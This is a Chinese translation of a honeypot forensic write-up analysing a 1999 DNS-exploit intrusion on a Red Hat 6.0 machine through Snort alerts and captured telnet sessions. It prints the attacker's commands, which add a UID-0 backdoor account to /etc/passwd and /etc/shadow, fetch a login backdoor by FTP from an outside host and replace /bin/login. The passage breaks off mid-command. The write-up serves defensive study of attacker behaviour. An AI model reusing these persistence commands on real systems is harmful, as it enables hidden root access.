网络通信 频道

一次被DNS攻击后的分析

 这篇文章是关于被DNS攻击后的系统分析,通过这个分析可以了解攻击者的行为,
  能很好的了解怎样攻击,攻击后做什么等各种行为,有助你更好的维护系统。
  
  原文作者:lance@spitzner.net
  
  背景
  
  此文信息由honeypot--http://www.enteract.com/~lspitz/honeypot.html
  有关的,Honeypot在REDHAT6.0上是一个默认的服务安装,其字面意思是蜜缸,
  呵呵,即使说用来引诱某些...的一个陷阱,呵呵。下面分析的所有IP地址
  用户帐号,和击键的信息是真实的,除了密码信息,这样是为了更直接的了解
  整个过程。所有SNIFF信息是通过SNORT格式体现的;http://www.snort.org/的
  SNORT是一个常用的嗅探器,对于检测系统入侵分析来说是一个不错的工具,我
  使用在http://www.whitehats.com/的MAX VISION 的IDS签字。
  
  攻击行为
  在四月26号,snort提醒我其中的一个系统正受到一个''noop''攻击,信息包装载包含
  noops的信息,在此情况下,SNORT探测到攻击和记录了警告信息到/var/log/messages
  文件中(使用http://www.enteract.com/~lspitz/swatch.html--swatch来监控),
  注意这文中172.16.1.107的IP地址是含有honeypot的机器,其他的地址是black-hat
  (黑帽子)使用的IP地址。
  
  Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
  
  我的honeypots接受无数探测,扫描和查询,而且下面的一个警告信息使我注意
  到其中一个系统可能被破坏,下面的系统LOG信息指示攻击者正开始了一个连接
  和LOGIN了系统:
  
  Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
  Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
  
  从上面的情况可以看到,入侵者已经获得超级用户权利和控制了整个系统,但这
  是怎样完成的呢,我们下面开始分析
  
  分析
  
  当分析一攻击的时候,最好的位置是在开始端,即攻击者是从哪里开始的,攻击者
  一般开始是收集系统信息,可以让他获得系统所存在的漏洞,如果你的系统被破坏,
  这就表明攻击者不是第一次与你的系统通信了,大多数攻击者必须通过对你系统
  的连接获得初始化的信息。
  
  所以我们从最开始的信息收集开始,从第一条信息可以知道
  攻击初于53端口,这表示在我们系统上发动了一个DNS攻击,所以我通过我的
  snort alerts--http://www.enteract.com/~lspitz/probed.txt来发现一些DNS
  可能的信息探测,我们发现一DNS版本查询探测的信息:
  
  Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
  Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
  
  注意,这个探测日期是4月25日,我们系统被攻击是在4月26号,系统是在被探测后
  的一天被入侵的,所以我猜测攻击者是使用一些扫描器扫描出一些关于DNS漏洞的信息,
  扫描以后,攻击者查看扫描结果,获得系统漏洞信息,然后启用他们的EXPLOIT。
  这样我们可以得到如下结论:在4月25号被检测后,后一天被侵入,通过我们的IDS
  警告,我们获知我们是被DNS漏洞攻击。
  
  THE EXPLOIT:
  类似于大多数商业IDS系统,snort可以显示我们所有IP信息包装载数据,我们就
  使用这功能来分析EXPLOIT,这个EXPLOIT信息可以从snort的LOG记录获得(存储
  在tcpdump两进制格式)。我查询snort的LOG记录并开始分析攻击开始时候的信息
  包,我没有把信息限制在仅查询主机63.336.81.13,主要是因为攻击者使用三个
  不同系统来运行这个EXPLOIT,这个EXPLOIT的目标是在远程主机上获得ROOT SHELL,
  一旦攻击者获得ROOT SHELL,他们可以以ROOT身份运行所有命令,还通常会在
  /etc/passwd和/etc/shadow文件中增加帐号,下面的获得ROOT SHELL后执行的一些命令:
  
  cd /; uname -a; pwd; id;
  Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
  /
  uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
  echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow
  
  echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
  echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow
  
  从上面可以知道,攻击者运行了uname -a 查询了系统,和PWD查询当前目录,和ID
  查看UID,并增加了twin和hantu两个帐号,使用了相同的密码,必须注意,twin
  使用了UID为506,而hantu使用了UID为0(另一方面hantu是印度尼西亚语言中的鬼魂
  的意思),要知道,大多数系统中不允许UID为0的帐号远程TELNET,所以起建立
  了一个可以远程TELNET的帐号,并建立了以后可以SU到ROOT的帐号。在90秒内
  攻击者利用了EXPLOIT程序进入系统,并获得ROOT权利(可以通过下面的LOG记录),
  
  Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
  Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
  Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
  
  现在要分析其下一步将做什么?
  
  获得访问权利后的活动
  
  比较幸运的是,TELNET是明文协议,对数据没有进行加密,这表示我们可以解开
  其踪迹和捕获其击键记录,而snort就做好了这些,这就是snort另一个好处,
  通过捕获对TELNET会话的击键记录,我们可以判断攻击者在做何工作,snort
  捕获了不但是STDIN(击键),而且还有STDOUT 和STDER记录,让我们来看看
  TELNET会话和入侵者的活动吧:
  
  开始,我们的朋友一twin身份TELNET系统(从213.28.22.189),并获得超级用户
  身份-hantu,这里要记住他不能以UID为0的身份TELNET
  
  #'' !"''!"# '' 9600,9600''VT5444VT5444
  Red Hat Linux release 6.0 (Shedwig)
  Kernel 2.2.5-15 on an i586
  login: twin
  Password: Password: hax0r
  No directory /home/twin!
  Logging in with home = "/".
  [twin@apollo /]$ su hantu
  Password: Password: hax0r
  
  下一步,攻击者去其他机器抓取ROOTKIT程序,如下:
  
  [root@apollo /]# ftp 24.112.167.35
  Connected to 24.112.167.35.
  220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
  Name (24.112.167.35:twin): welek
  331 Password required for welek.
  Password:password
  230 User welek logged in.
  Remote system type is UNIX.
  Using binary mode to transfer files.
  ftp> get bj.c
  local: bj.c remote: bj.c
  200 PORT command successful.
  150 Opening BINARY mode data connection for bj.c (1010 bytes).
  226 Transfer complete.
  1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
  ftp> quit
  221-You have transferred 1010 bytes in 1 files.
  221-Total traffic for this session was 1421 bytes in 1 transfers.
  221-Thank you for using the FTP service on linux.
  221 Goodbye.
  
  他FTP获得了后门程序,编译了bj.c,并安装代替了/sbin/login程序,(从下面
  的记录来看,攻击者使用了COPY和粘贴的工作):
  
  root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old
  rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
  bj.c:16: unterminated string or character constant
  bj.c:12: possible real start of unterminated constant
  
  然后他起用了后门程序:
  
  [root@apollo /]# chown root:bin login
  chown: login: No such file or directory
  [root@apollo /]# chmod 4555 login
  chmod: login: No such file or directory
  [root@apollo /]# chmod u-w login
  chmod: login: No such file or directory
  [root@apollo /]# cp /bin/login /usr/bin/xstat
  [root@apollo /]# cp /bin/login /usr/bin/old
  [root@apollo /]# rm /bin/login
  [root@apollo /]# chmod 555 /usr/bin/xstat
  [root@apollo /]# chgrp bin /usr/bin/xstat
  [root@apollo /]# mv login /bin/login
  mv: login: No such file or directory
  [root@apollo /]# rm bj.c
  
  后来从记录来看,攻击者并没有成功,他又一次FTP到站点再次下载了后门:
  
  [root@apollo /]# ftp 24.11

文章转载地址:http://www.cnpaf.net/Class/hack/06101110491520447408.html

0
相关文章